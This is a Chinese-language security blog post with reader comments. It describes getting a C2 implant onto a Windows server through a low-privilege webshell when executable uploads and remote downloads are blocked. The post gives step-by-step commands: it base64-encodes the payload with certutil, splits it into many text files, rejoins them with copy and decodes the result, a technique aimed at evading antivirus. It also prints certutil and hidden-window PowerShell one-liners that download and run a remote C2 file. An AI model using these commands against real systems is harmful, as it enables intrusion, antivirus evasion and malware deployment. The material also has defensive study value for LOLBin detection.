苛刻条件下:C2上传执行骚姿势

苛刻条件下:C2上传执行骚姿势

AabyssZG
2023-02-25 / 9 评论 / 1,453 阅读 / 正在检测是否收录...

0# 概述

在前期Web打点成功获得对应权限后,就进入了后渗透(提权、内网渗透、域渗透)的阶段,但是在有些时候,总会出现各种各样奇怪的情况,在此也分享一些经验出来。

最近团队师傅找到我,想要让我帮忙提权一个站点,正好用上了这个骚操作,看网上好像都没有人记录这个手法,这边就浅浅记录一下,希望能帮助到屏幕前面的你。
文件上传的骚姿势-title.png

1# 情况描述

通过某供应商服务系统的文件任意上传1day,上传了一个哥斯拉(Godzilla)的Asp马,并成功连接上了WebShell,但是权限很低很低:

文件上传骚姿势-情况分析.png

  • WebShell连接方式:直接连接IP:端口的,中间不可能有WAF存在(有些人真的扯)
  • 目标系统:Microsoft Windows Server 2016 Datacenter
  • whoami:iis apppool\*****scm4
  • 文件管理情况:WebShell只能上传写入TXT和图片类型文件,且大文件无法上传、移动和删除 (注意!!!服务器做了限制。除了TXT和图片,其他所有文件都上传不了!!!即便是一个普通的小程序,也是上传失败!)
  • 命令使用情况:无法使用PowerShell和其他高危指令
  • 杀软情况:Microsoft Security Essentials(MsMpEng.exe)/火绒(usysdiag.exe)/Microsoft Internet Security(MSASCui.exe
  • 网络连接情况:目标系统对外只能访问白名单URL,不在白名单没法访问

helloworld-1.png

我尝试通过WebShell更换目录上传EXE,甚至上传一个HelloWorld的EXE文件,都无法上传,这个情况我也是第一次碰到,后面要好好再分析一下原因。

helloworld-2.png

2# 情况分析

通常来说,在红蓝攻防中Web打点成功后,一般会上传C2并上线清理入侵痕迹,然后再去搜索敏感文件以及对内网资产进行探查。

上传C2到服务器一般有以下操作(针对Win):

  1. 通过WebShell上传C2文件并执行
  2. 通过 Certutil 远程下载C2文件并执行
  3. 通过 PowerShell 远程下载C2文件并执行

通过 Certutil 远程下载C2文件并执行

certutil -urlcache -gmt -split -f http://C2文件远程地址 C2文件名.exe && C2文件名.exe 执行参数

通过 PowerShell 远程下载C2文件并执行

powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://C2文件远程地址','C2文件名.exe') && C2文件名.exe 执行参数

但我们目前的情况,虽然Web打点成功了,但是没办法写入或者下载C2进行上线(测试过了,几种文件远程下载的指令都被杀软拦截或者被系统屏蔽了),WebShell也没办法上传C2可执行文件 (服务器做了限制。除了TXT和图片,其他所有文件都上传不了!!!即便是一个普通的小程序,也是上传失败!)

这种情况,上线C2都基本不可能了,更别说提权和内网渗透了

3# C2上传执行骚姿势

综上所述,这个权限已经是很低很低了,但不慌,我们看看有什么办法能突破

首先我们先要了解一个Windows系统的自带工具:Certutil

很多人只知道可以通过 Certutil 进行远程下载文件(会被杀软拦截),但不知道它还能加密解密本地文件(不会报毒,可以用来ByPassAV)

那我就通过本次实战案例,给大家演示一下整个ByPass过程:

3.1 加密C2可执行文件

首先,准备好C2可执行文件,通过 Certutil 进行加密导出

Certutil -encode C2可执行文件名.exe out.txt

加密导出.png

可以打开导出的TXT,看到文件有如下特征:

加密导出特征.png

-----BEGIN CERTIFICATE-----
加密后的内容
-----END CERTIFICATE-----

3.2 切割TXT文件上传并拼接、解密

因为上面说了,太大的文件没办法通过WebShell上传写入,于是让我们测试一下极限:

先试试2000行能否写入:

测试写入保存成功.png

2000行的数据写入是没问题的,那3000行呢?

测试写入保存失败.png

看,保存失败了,所以我们要将TXT切割后上传再拼接

随便去网上下载一个TXT切割器,如下:

TXT分割.png

好机会,切割出67个TXT,在服务器上新建一个文件夹,全部上传上去:

上传TXT.png

再使用 copy 命令进行拼接:

copy 1.txt + 2.txt + 3.txt + 4.txt + 5.txt + 6.txt + 7.txt + 8.txt + 9.txt + 10.txt out10.txt  //out10.txt:合并1~10的前十个文件
copy 11.txt + 12.txt + 13.txt + 14.txt + 15.txt + 16.txt + 17.txt + 18.txt + 19.txt + 20.txt out20.txt //out20.txt:合并11~20的前十个文件
//如此往复,按照10个每组合并完成

注意:这里不能用通配符(*.txt)进行 copy ,因为这样会打乱文件顺序,就解密不了了

因为怕出错,我每10个文件 copy 一下,然后可以生成以下文件:

copy合并第一次.png

确认无误后,再用 copy 命令再合并一次:

copy out10.txt + out20.txt + out30.txt + out40.txt + out50.txt + out60.txt + out67.txt output.txt //合并总的文件

最后输出 output.txtCertutil 进行解密操作即可:

Certutil -decode output.txt C2可执行文件名.exe

解密导出.png

3.3 执行C2文件上线机器

上面已经成功将C2可执行文件解密出来了,然后执行上线即可:

成功上线-1.png

成功上线-2.png

4# 总结

很多时候,虽然看似“山穷水尽疑无路”,但仔细钻研,还是能“柳暗花明又一村”,有时候换个思路,可能就可以突破目前的困境。

在后渗透过程中, Certutil 虽然可以进行远程下载文件(但会被杀软拦截),但它还能加密和解密本地文件(不会报毒,可以用来ByPassAV),这种思路在后渗透阶段还是值得学习和深入拓展的

在本次实战情况下,面对苛刻的服务器条件,虽然没搞明白是如何做到让我无法通过WebShell上传EXE的,但是通过 Certutil 的加密解密机制,还是成功写入了C2可执行文件并上线提权,这不妨也是一种收获。

17

评论 (9)

取消
  1. 头像
    tmp
    Android · Google Chrome

    你在哥斯拉shell设置那里可以修改大文件上传的单次上传字节,asp设置10k或20k没有问题

    回复
    1. 头像
      AabyssZG 作者
      Windows 10 · Google Chrome
      @ tmp

      emmmm这个哥斯拉我已经设置过了,还是上传失败
      我还尝试过上传ASP大马,然后用ASP大马直接来上传文件,还是不行表情

      回复
  2. 头像
    yy
    Android Oreo · Google Chrome

    这是哪款c2,看着挺好,有名字吗,我去了接一下

    回复
    1. 头像
      AabyssZG 作者
      Windows 10 · Google Chrome
      @ yy

      这个是斗像科技这家公司开发的渗透框架DayBreak
      官网地址:https://daybreak.tophant.com/home
      在官网上申请,一般2~3天会给你通过下发License的表情

      回复
  3. 头像
    阳阳1144
    Android Oreo · Google Chrome

    这是哪款c2,求告知表情

    回复
    1. 头像
      AabyssZG 作者
      Windows 10 · Google Chrome
      @ 阳阳1144

      这个是斗像科技这家公司开发的渗透框架DayBreak
      官网地址:https://daybreak.tophant.com/home
      在官网上申请,一般2~3天会给你通过下发License的表情

      回复
  4. 头像
    log
    Windows 10 · Google Chrome

    emmmm 原来还可以这样,师傅厉害。

    回复
  5. 头像
    anonym0us1
    MacOS · Google Chrome

    多年前用过这种方法,还包括用 burp intruder 自动化分片上传。但是不幸的是,合并之后解码那一步,直接被杀软以 lolbins 行为杀 kill 了。

    回复
    1. 头像
      AabyssZG 作者
      Windows 10 · Google Chrome
      @ anonym0us1

      是的,目前在苛刻环境下,这种方式基本会被拦截,但还是有拓展空间,本篇碰到的这种情况刚好能用,就记录一下哈哈~本文仅提供一个思路,具体场景还是要看实际环境。表情
      LOLBins全称为“Living-Off-the-Land Binaries”,指的是在目标操作系统上运行受信任的合法进程来执行恶意活动,例如横向移动、权限提升和远程控制等。比如常见的Powershell.exe、Certutil.exe和Mshta.exe等程序,都属于LOLBins范畴。表情

      回复